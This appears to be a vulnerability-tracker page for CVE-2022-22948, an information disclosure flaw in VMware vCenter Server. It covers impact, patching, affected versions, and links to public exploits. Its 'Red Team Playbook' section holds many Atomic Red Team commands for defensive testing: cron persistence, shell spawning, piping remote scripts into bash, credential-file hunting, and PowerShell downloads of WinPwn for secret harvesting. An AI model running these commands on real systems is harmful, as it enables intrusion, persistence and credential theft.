CVE-2022-22948
Overview
This vulnerability is an information disclosure flaw caused by improper file permission settings within VMware vCenter Server and VMware Cloud Foundation components. The root cause lies in the misconfiguration of access controls on sensitive files, allowing users with limited privileges to access data they should not have permission to view. The issue specifically affects file system permissions in the vCenter Server environment, enabling unauthorized read access to protected information.
Vulnerability Description
The vCenter Server contains an information disclosure vulnerability due to improper permission of files. A malicious actor with non-administrative access to the vCenter Server may exploit this issue to gain access to sensitive information.
Impact
An attacker with a low-privileged account on the vCenter Server can access sensitive information such as configuration details or credentials stored in improperly protected files. This unauthorized access can facilitate further attacks, including lateral movement within the infrastructure or escalation of privileges by leveraging disclosed secrets. The vulnerability requires only limited authentication and no user interaction beyond initial access, potentially leading to significant data breaches and compromise of the virtualized environment's security posture.
Solution
VMware has addressed this issue in advisory VMSA-2022-0009, which provides patches for vCenter Server 6.5 and VMware Cloud Foundation. Administrators should apply the updates as specified in the advisory available at https://www.vmware.com/security/advisories/VMSA-2022-0009.html. No alternative workarounds are provided; timely patching is recommended to remediate the improper file permission settings.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (63)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
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Vmware | Cloud Foundation | All |
cpe:2.3:a:vmware:cloud_foundation:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:-:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:a:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:b:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:c:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:d:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:e:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:f:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1b:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1e:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update1g:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2d:*:*:*:*:*:*
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Vmware | Vcenter Server | 6.5 |
cpe:2.3:a:vmware:vcenter_server:6.5:update2g:*:*:*:*:*:*
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Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
VMware vCenter Secrets Dump
post/linux/gather/vcenter_secrets_dump
|
- | Unknown | linux, unix | View |
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PenteraIO/CVE-2022-22948
Scanner for CVE-2022-22948 an Information Disclosure in VMWare vCenter
|
PenteraIO | 11 | 6 | 2021-10-17 | View |
|
PoC
|
- | 0 | 0 | - | View |
Ransomware Groups 1
Threat Feed
20 eventsSighting activity recorded
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Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-22948 |
| vmware.com |
GitHub CVE
x_refsource_MISC
|
https://www.vmware.com/security/advisories/VMSA-2022-0009.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-22948 |